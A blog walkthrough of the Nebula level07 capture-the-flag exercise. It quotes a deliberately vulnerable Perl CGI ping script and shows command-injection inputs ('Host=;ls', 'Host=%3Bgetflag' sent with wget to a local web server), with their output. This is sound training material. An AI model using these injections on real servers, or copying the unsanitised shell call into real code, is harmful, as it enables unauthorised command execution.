Nebula exploit exercises walkthrough – level07

The flag07 user was writing their very first perl program that allowed them to ping hosts to see if they were reachable from the web server.

The code of the CGI script is provided (and can be viewed in /home/flag07):

#!/usr/bin/perl

use CGI qw{param};

print "Content-type: text/html\n\n";

sub ping {
	$host = $_[0];

	print("Ping results
");

	@output = `ping -c 3 $host 2>&1`;
	foreach $line (@output) { print "$line"; } 

	print("

");

}

# check if Host set. if not, display normal page, etc

ping(param("Host"));

Immediately you can see this is not sanitising or validating the input parameter Host that it passes to a command – ping. We can therefore pass it another command for it to execute.

Let’s test the script out, from the command line to start with:

level07@nebula:/home/flag07$ ./index.cgi Host=127.0.0.1
Content-type: text/html

Ping results PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_req=1 ttl=64 time=0.012 ms
64 bytes from 127.0.0.1: icmp_req=2 ttl=64 time=0.016 ms
64 bytes from 127.0.0.1: icmp_req=3 ttl=64 time=0.019 ms

--- 127.0.0.1 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 1998ms
rtt min/avg/max/mdev = 0.012/0.015/0.019/0.005 ms
level07@nebula:/home/flag07$ 

(I’ve stripped out HTML as I am lazy and can’t be bothered getting it to format correctly).

It just runs ping against localhost, as expected.

Run it without parameters, and we get the help:

level07@nebula:/home/flag07$ ./index.cgi
Content-type: text/html

Ping results Usage: ping [-LRUbdfnqrvVaAD] [-c count] [-i interval] [-w deadline]
            [-p pattern] [-s packetsize] [-t ttl] [-I interface]
            [-M pmtudisc-hint] [-m mark] [-S sndbuf]
            [-T tstamp-options] [-Q tos] [hop1 ...] destination

And then let’s check we can inject a command:

level07@nebula:/home/flag07$ ./index.cgi Host=;ls -asl
Content-type: text/html

Ping results Usage: ping [-LRUbdfnqrvVaAD] [-c count] [-i interval] [-w deadline]
            [-p pattern] [-s packetsize] [-t ttl] [-I interface]
            [-M pmtudisc-hint] [-m mark] [-S sndbuf]
            [-T tstamp-options] [-Q tos] [hop1 ...] destination
total 10
0 drwxr-x--- 2 flag07 level07  102 2011-11-20 20:39 .
0 drwxr-xr-x 1 root   root     420 2012-08-27 07:18 ..
1 -rw-r--r-- 1 flag07 flag07   220 2011-05-18 02:54 .bash_logout
4 -rw-r--r-- 1 flag07 flag07  3353 2011-05-18 02:54 .bashrc
1 -rwxr-xr-x 1 root   root     368 2011-11-20 21:22 index.cgi
1 -rw-r--r-- 1 flag07 flag07   675 2011-05-18 02:54 .profile
4 -rw-r--r-- 1 root   root    3719 2011-11-20 21:22 thttpd.conf

Excellent.

The challenge now is that, for the first time, this script isn’t set to run suid. If I try running getflag, it isn’t going to work.

level07@nebula:/home/flag07$ ./index.cgi Host=;getflag
Content-type: text/html

Ping results Usage: ping [-LRUbdfnqrvVaAD] [-c count] [-i interval] [-w deadline]
            [-p pattern] [-s packetsize] [-t ttl] [-I interface]
            [-M pmtudisc-hint] [-m mark] [-S sndbuf]
            [-T tstamp-options] [-Q tos] [hop1 ...] destination
getflag is executing on a non-flag account, this doesn't count

That thttpd.conf file in flag07’s home directory looks interesting. Could he be running a test web server?

level07@nebula:/home/flag07$ cat thttpd.conf 
# /etc/thttpd/thttpd.conf: thttpd configuration file

# This file is for thttpd processes created by /etc/init.d/thttpd.
# Commentary is based closely on the thttpd(8) 2.25b manpage, by Jef Poskanzer.

# Specifies an alternate port number to listen on.
port=7007

# Specifies what user to switch to after initialization when started as root.
user=flag07

Excellent – a web server on port 7007.

So, we need to:

  • Connect to the web server running on localhost at port 7007
  • Request a index.cgi
  • Pass a Host parameter with a command being careful to URL escape all of the special chars

wget is a simple utility present on nearly all Linux boxes that allows us to get a webpage.

wget http://127.0.0.1:7007/index.cgi?Host=%3Bgetflag
--2014-06-05 04:23:34--  http://127.0.0.1:7007/index.cgi?Host=%3Bgetflag
Connecting to 127.0.0.1:7007... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]
Saving to: `index.cgi?Host=;getflag'

    [ <=>                                   ] 136         --.-K/s   in 0.009s  

2014-06-05 04:23:34 (14.6 KB/s) - `index.cgi?Host=;getflag' saved [136]

We just need to escape the semi-colon to be %3B.

Check the content of the file and we have run getflag as a flag07.

level07@nebula:/tmp$ cat index.cgi\?Host\=\;getflag
Ping results You have successfully executed getflag on a target account

2 thoughts on “Nebula exploit exercises walkthrough – level07

  1. Permalink  ⋅ Reply

    marlon

    September 13, 2018 at 6:11pm

    or one could also modify the fiel permission using chmod 755 /home/level07 instead

Leave a Reply

Your email will not be published. Name and Email fields are required.

This site uses Akismet to reduce spam. Learn how your comment data is processed.